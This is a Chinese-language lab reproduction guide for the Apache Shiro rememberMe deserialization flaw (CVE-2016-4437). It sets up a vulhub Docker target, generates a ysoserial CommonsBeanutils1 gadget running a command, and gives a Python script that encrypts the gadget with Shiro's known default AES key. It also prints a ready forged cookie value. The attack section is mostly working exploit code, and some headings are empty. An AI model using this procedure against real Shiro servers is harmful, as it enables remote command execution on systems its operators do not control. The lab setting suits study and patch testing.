概述
Apache Shiro 是一个强大且易用的 Java 安全框架,提供身份验证、授权、密码和会话管理。
在 Apache Shiro <= 1.2.4 版本中,用户信息序列化后经过加密和编码存储在名为 rememberMe 的 Cookie 中,如果用户没有修改默认密钥,攻击者可以通过伪造 Cookie 触发 Java 反序列化漏洞,进而在目标机器上执行任意命令。
参考
https://www.freebuf.com/vuls/290922.html
影响版本
-
Payload
检测是否受影响
漏洞复现
搭建环境
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
Shiro 1.2.4
-
检测是否存在漏洞
复现过程
手动验证
1)使用 ysoserial 生成 Commons Beanutils 1 的 Gadget
https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/test" > poc.ser
2)使用 Shiro 内置的默认密钥对 Payload 进行加密 ```python import sys import uuid import base64 from Crypto.Cipher import AES
def encode_rememberme(): f = open(‘poc.ser’,’rb’) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”) iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if name == ‘main‘:
payload = encode_rememberme()
print(“rememberMe={0}”.format(payload.decode()))
将 poc.py 与 poc.ser 存放在相同目录下,执行 `poc.py` 生成 Cookie 值
rememberMe=bJTf8kfMTTSiw0bN7YVr7N3cfBJ5dntLMNFRgm6aONWj4fPZzRrSupCXQADfIpJsMSqwH+ahXjsoAmHcdjOxHDBQaIaYD2VNl20YO1rh36TkfjtsOmfXoYkTwKtQX0XkvN0F6LXTST+w5eENpJYojT6b1P7sP0nf4867pXiFd/DrEKu+KUfit2k8gt2sNOp7i+O6oQwjDdjmE79WUMTlVJwSye+/FpljZR8COt3CCr1Nxc1yHuKKqz8oxQsDoXPMxHMTEji6NelbgbZxsAbvh1DCbG5hni+Ff83es8ngNB1cwW0NbWXSehXc223k7VX7rifY3zwjkKv+keSosMGO6WZO14GJkWIZ+1Q9b+c5wub3nydULUGXwIQFbCbz7mrtzoYFcp0YUZ+Gu/nHBqu0P5LpvZZ7JZ9wdHVQVQHrEj7jBVyj9s7rofsLwLNGmohaW/Uym8XDXv2tGLXbgEWguM+SgV1U8DSGs0lmfJxKSQCOahOLM6+ULtbv3BdZXTT5F5/UdtRjZOjyJhP+EcIxW4C1/JERJugyK+ra8kSfxOWKZiHQyyrmyUP5Feg4gwY3B1ztoT1nd6RhmZcyWoYdiwUQ97R/RghqvuvebWt0vBQsBcnw2vTHRO9H1fuxVoIOiFV03vR5zrcHFNvo81tGVRLmo8TkgzlNuEEaSXkD5G55GxWviCI0JeZA5P3t0W7v5hbzeeH6gpydvrEUa7McEA21LE2Fec89xAOGQetUynErazLgLjXfWfRx+6pYB/ppX/r+corsYahwcagl/Lt6I4ZZsqQqhVXDOxp3V+9tNnTFmamV/hTNFy0AC11QhyfOk6aRC+3zQjLZf1oODSfOpZCXMxMZAS9LaCaoanvKpqIrvFiNYp10cjBvwK03J5VE+WaKQZgg9NzIEJ2b3aNEz4Pyf834/0vnRiesFYgVQHgQdLfUBKKxIcitHQlK0T4sK9HjN/i2107Vmbto0PGD5J1OTLpxWWDOin36soB4eM+ELeKD8LyV0iDIQHSWh/FxDxX38EMOu1L4y++zE0UAhjclSCeYJNs4ts3lOm6BBhcvpW6PQla7imZnHqfVk/YxevBGIvPVxSKRuRICAAy58X8qMW8LFQrKH2AqzD2VRX7fIX3Ds7M04gPWEqRcnruLiV4LFQQ01F8CCBrmvMpD2k0z19Q30wTPT+g5BufAC2evgMMSPzmAqM6QKZgPkoQe+U1h9R23aMoa0ARqNWtjf9t89V3zaxqDAlbPSHMkmuHikhc8uSmdL9RZiUCkXOmNQvAnPiw54cN9OKeoQGfDrsifDG1x3+0RjCodE5y/cNqppfsC+ZwIT7fwES2Roc0WobUgC26J0NM9OEsT/qoqj7zxGbqrOfNOeH5umQQCDm6ICp4P7aM9e2pqsx4spk3fyFwWmaczyS6jVSUIvoRHDqItzbu4NLic3v8KKL+vdg0=
```
3)修改请求包中 rememberMe 值
4)容器中验证是否执行命令